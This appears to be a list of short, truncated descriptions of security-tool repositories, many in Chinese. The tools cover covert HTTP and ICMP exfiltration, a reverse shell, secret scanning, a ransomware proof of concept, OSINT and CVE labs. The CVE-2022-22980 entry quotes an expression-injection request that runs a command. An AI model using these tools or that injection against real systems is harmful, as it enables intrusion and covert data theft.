http-protocol-exfil

HTTP协议版本外传工具 使用HTTP协议版本逐位发送文件（“HTTP/1.0”表示0，“HTTP/1.1”表示1）。它使用GET请求，因此蓝队只会看到发往你IP地址的请求。但发送较大文件需要很长时间，例如发送200 KB需要1小时，并且请求数量会非常高（文件字节数的8倍）。 创建监听器 运行监听器使用listener.py，带一个可选参数：监听端口。 python3 listener.py PORT 示例： python3 listener.py 8080 发送文件...

tcpdump

TCPDUMP 4.x.y 由 The Tcpdump Group 提供 若要报告安全问题，请发送电子邮件至 [email protected]。 要报告错误和其他问题、贡献补丁、请求功能、提供一般反馈等，请参阅 tcpdump 源代码根目录中的贡献指南。 匿名 Git 可通过以下方式获取 https://github.com/the-tcpdump-group/tcpdump.git 此目录包含 tcpdump 的源代码，tcpdump 是一款用于网络监控和数据采集的工具。 在过去的几年中，tcpdump...

revsh

revsh revsh 是一款用于建立带有终端支持的反向 Shell、用于高级横向移动的反向 VPN 以及任意数据隧道的工具。 新闻 2018-08-09 : 新版本发布。主要是错误/稳定性修复以及更好的 OpenSSL 1.1.0 构建文档。有关更新后的构建说明，请参阅下方的《安装》部分。 概述 什么是“反向 Shell”？ 反向 Shell 是一种网络连接，可授予对远程主机的 Shell 访问权限。与 telnet 和 ssh 等其他远程登录工具不同，反向 Shell 由远程主机发起。这种从远程网络出站连接的技术能够规避仅配置为阻止入站连接的防火墙。 什么是“反向 VPN”？ rev...

socid-extractor

socidextractor Turn any public profile page into a structured account record — usernames, display names, bios, avatars, locations, joined-at dates, follower counts, external links, and the stable internal identifiers that uniquely pin an account across renames, redesigns, and deletions...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp 鸡肋漏洞，只是记录。 1. 启动redis，27017端口 2. 启动项目，springboot启动在6666端口 3. GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8...

cve-2016-4845_csrf

cve-2016-4845csrf Proof of concept for CSRF vulnerabilityCVE-2016-4825 on IO-DATA Recording Hard Disc Drive. License These codes are released under the MIT License. Please see LICENSE.txt...

zdr

Zero Data Retention ZDR for LLM Providers 最后更新： 2026年4月 一份关于在使用LLM API时保护数据隐私的实用指南。涵盖零保留端点、自托管、合规性要求以及面向受监管行业工程师的数据保护模式。 目录 哪种方法适合我？ 威胁模型 提供商参考 OpenAI Anthropic Google Vertex AI Azure OpenAI AWS Bedrock Mistral AI Groq Fireworks AI Together AI Cohere Hugging Face Inference Endpoints Replicate...

pillager

Pillager 使用 Go 对文件系统进行敏感信息检索。 目录 1. 概述 2. 安装 3. 使用方法 4. 数据外传 5. 文档 概述 Pillager 旨在提供一种利用 Go 强大的并发模型来递归搜索目录中文件敏感信息的简便方法。为此，Pillager 站在了几位巨人的肩膀上。一旦 Pillager 找到符合指定模式的文件，就会使用一系列并发的工作线程扫描该文件，每个工作线程从作业队列中获取文件的一行，并搜索敏感模式匹配。可用的模式过滤器可以在 pillager.toml 文件中定义，也可以使用默认规则集。 安装 Go 如果你的系统上设置了 Go，可以通过 go install 安...

WordPress Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin <= 6.2.5 - Missing Authorization to Authenticated (Custom+) Sensitive Data Exposure and Modification vulnerability

Missing Authorization to Authenticated Custom+ Sensitive Data Exposure and Modification vulnerability discovered by Nadir Şensoy in WordPress Plugin FluentForm versions = 6.2.5...

cypherhound

CypherHound A Python3 terminal application that contains Neo4j cyphers for BloodHound data sets with a script to automate importing them into BloodHound CE. Output Samples Terminal HTML Report HTML Report continued Why? BloodHound is a staple tool for every penetration tester. However, there are...

ICMPExfil

ICMP Exfil ICMP Exfil 允许你通过合法的ICMP数据包传输数据。你使用客户端脚本传入要外传的数据，然后在接收设备上运行服务器。任何观察者（无论是人类还是安全系统）都只会看到合法的ICMP数据包，这些数据包的结构没有任何恶意。你的数据并未隐藏在ICMP数据包内部，因此查看数据包并不能告诉你外传了什么内容。 作者 Martino Jones，martinojones.com。 ASCII...

hammer

概述 Dow Jones Hammer 是一款面向 AWS 的多账户云安全工具。它能识别大多数流行 AWS 资源中的错误配置和不安全数据暴露，覆盖所有区域和账户。该工具具备近乎实时的报告能力（例如 JIRA、Slack），可为工程师提供快速反馈，并能对某些错误配置进行自动修复。这有助于通过构建安全护栏来保护部署在云上的产品。 文档 Dow Jones Hammer 的文档可通过 GitHub Pages 获取：https://dowjones.github.io/hammer/。 安全特性 不安全服务 S3 ACL 公共访问 S3 策略公共访问 IAM 用户非活跃密钥 IAM 用户密钥轮...

red-kube

Red Team K8S Adversary Emulation Based on kubectl Red Kube is a collection of kubectl commands written to evaluate the security posture of Kubernetes clusters from the attacker's perspective. The commands are either passive for data collection and information disclosure or active for performing...

steganographer

Steganography in Python This script will hide files inside images and save the modified image to disk The maximum size of file which can be hidden inside an image depends on the dimension of the image. maxfilesize = heightofimage widthofimage 6 / 8 bytes '100k words.txt' is hidden in...

seekr

A multi-purpose toolkit for gathering and managing OSINT-Data with a neat web-interface. Introduction Seekr is a multi-purpose toolkit for gathering and managing OSINT-data with a sleek web interface. Our desktop view enables you to have all of your favourite OSINT tools integrated in one. The...

seekr

一个多用途工具包，用于收集和管理 OSINT 数据，并配有简洁的 Web 界面。 简介 Seekr 是一个多用途工具包，用于收集和管理 OSINT 数据，并带有简洁的 Web 界面。我们的桌面视图使您能够将所有喜爱的 OSINT 工具集成在一个界面中。后端使用 Go 编写，数据库采用 BadgerDB，提供了广泛的数据收集、组织和分析功能。无论您是研究员、调查人员，还是只是想收集信息的人，seekr 都能让您轻松找到并管理所需的数据。立即尝试，看看它如何简化您的 OSINT 工作流程！ 查看 wiki 获取设置指南、API 文档等。 为什么选择 seekr 而非当前工具？ Seekr...

Phirautee

Phirautee 一个概念验证型加密病毒，用于提高用户对勒索软件攻击及其影响的认识。Phirautee 完全使用 PowerShell 编写，无需任何第三方库。该工具窃取信息，将组织的数据扣为人质以索取赎金，或永久加密/删除组织数据。 Phirautee 是一种“离地生存”（LotL）勒索软件，这意味着它利用合法的 PowerShell 命令和操作来对抗操作系统。 截图 勒索弹出窗口： 感染成功后的桌面背景： DEF CON 演讲...

kangaroo

袋鼠 基于GPU加速的Pollard袋鼠算法，用于求解secp256k1上的椭圆曲线离散对数问题（ECDLP）。 特性 🖥️ 跨平台GPU — 通过wgpu支持Vulkan（AMD、NVIDIA、Intel）、Metal（Apple Silicon）、DX12（Windows） 🦀 纯Rust + WGSL — 无CUDA依赖，计算着色器在运行时编译 ⚡ 区分点（Distinguished Points） — 通过自动调整DP位实现高效碰撞检测 🔄 取反映射（Negation map） — 通过基于Y奇偶性的定向行走与循环防护实现约1.29倍加速 🦘 多组袋鼠 —...

CVE-2018-1273

CVE-2018-1273 CVE-2018-1273 漏洞环境 CVE-2018-1273: 利用 Spring Data Commons 实现 RCE https://pivotal.io/security/cve-2018-1273 应用 https://github.com/spring-projects/spring-data-examples/tree/master/web/example 构建 $ docker build -t cve-2018-1273 . 运行 $ docker run -d -p 8080:8080 cve-2018-1273 网页...

tweetable-polyglot-png

tweetable-polyglot-png 将最多3MB的数据打包成一个可推文的PNG多格式文件。 在此查看实际效果：https://twitter.com/David3141593/status/1371974874856587268 我已经验证过此技术可用的其他图片托管平台： Imgur https://i.imgur.com/kNhGrN3.png Github仓库缩略图/标题图片 https://repository-images.githubusercontent.com/348501512/06710f00-8886-11eb-95d1-3f416fa3853a Disco...